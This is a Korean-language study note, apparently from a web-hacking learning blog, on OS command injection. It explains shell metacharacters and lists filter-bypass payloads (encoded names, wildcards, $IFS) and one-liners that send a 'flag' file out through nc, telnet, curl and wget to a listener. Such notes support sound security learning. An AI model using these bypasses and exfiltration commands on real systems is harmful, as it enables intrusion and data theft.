이용자의 입력을 시스템 명령어로 실행하게 하는 취약점
시스템 명령어를 실행하는 함수에 이용자가 임의의 인자를 전달 할 수 있을 때 발생
이는 리눅스 쉘 프로그램이 지원하는 다양한 메타 문자 때문이다.
시스템 함수는 쉘 프로그램에 명령어를 전달하여 실행하는, 쉘 프로그램은 다양한 메타 문자를 지원한다.
'' 명령어 치환
'' 안에 있는 명령어를 실행한 결과로 치환된다.
$ echo `echo theori`
theori
$() 명령어 치환
$() 안에 있는 명령어를 실행한 결과로 치환된다. 중복 사용이 가능하다.
$ echo $(echo $(echo theori))
theori
&& 명령어 연속 실행
한 줄에 여러 명령어를 사용할 수 있다. 앞 명령어에서 에러가 발생하지 않아야 뒷 명령어가 실행된다.
$ echo hello && echo theori
hello
theori
|| 명령어 연속 실행
한 줄에 여러 명령어를 사용할 수 있다. 앞 명령어에서 에러가 발생해야 뒷 명령어가 실행된다.
$ cat / || echo theori
cat: /: Is a directory
theori
; 명령어 구분자
한 줄에 여러 명령어를 사용할 수 있다. 앞 명령어의 에러 유무와 관계 없이 뒷 명령어를 실행한다.
$ echo hello ; echo theori
hello
theori
| 파이프
앞 명령어의 결과가 뒷 명령어의 입력으로 들어간다.
$ echo id | /bin/sh
uid=1001(theori) gid=1001(theori) groups=1001(theori)
필터링 우회
명령어의 입력으로 들어가는 문자열을 필터링하는 경우
echo -e "\x66\x6c\x61\x67" | xargs cat -e //16진수 ASCII
cat $'\146\154\141\147' //8진수 ASCII
cat [0-z][0-z][0-z][0-z]
cat ????
cat FL${}AG
명령어(cat, ls, ...) 를 필터링하는 경우
c''a""t flag
c${invalid_variable}a${XX}t flag
공백을 필터링하는 경우
{cat,flag}
cat$IFS$()flag
cat${IFS}flag
실행 결과를 확인할 수 없는 환경에서 방법 (결과가 출력되지 않을 때)
nc, telcet 사용
cat flag | nc 127.0.0.1 8000
cat flag | telnet 127.0.0.1 8000
curl, wget 사용
curl "http://127.0.0.1:8080/?$(cat flag|base64 -w0)" // GET 요청
curl http://127.0.0.1:8080/ -d "$(cat flag)" // POST 요청
wget http://127.0.0.1:8080 --method=POST --body-data="`cat flag`"
예제
URL 쿼리를 통해 전달되는 query 값을 ping 명령어의 인자로 전달하고
해당 명령어가 subprocess.check_output() 함수를 이용해 실행되어 출력되는 프로그램이 있다.
메타 문자를 이용하여 뒤에 원하는 명령어를 함께 실행시킬 수 있다.
'웹 해킹 > 학습' 카테고리의 다른 글
[웹해킹] Client Side Template Injection (CSTI) (2) | 2024.09.06 |
---|---|
[웹해킹] NoSQL Injection (MongoDB) (0) | 2024.09.04 |
[웹해킹] CORS 취약점 (postMessage, JSONP) (0) | 2024.09.03 |
[웹해킹] CSP 우회 (XSS) (1) | 2024.09.02 |
[웹해킹] 콘텐츠 보안 정책 (CSP) (0) | 2024.08.30 |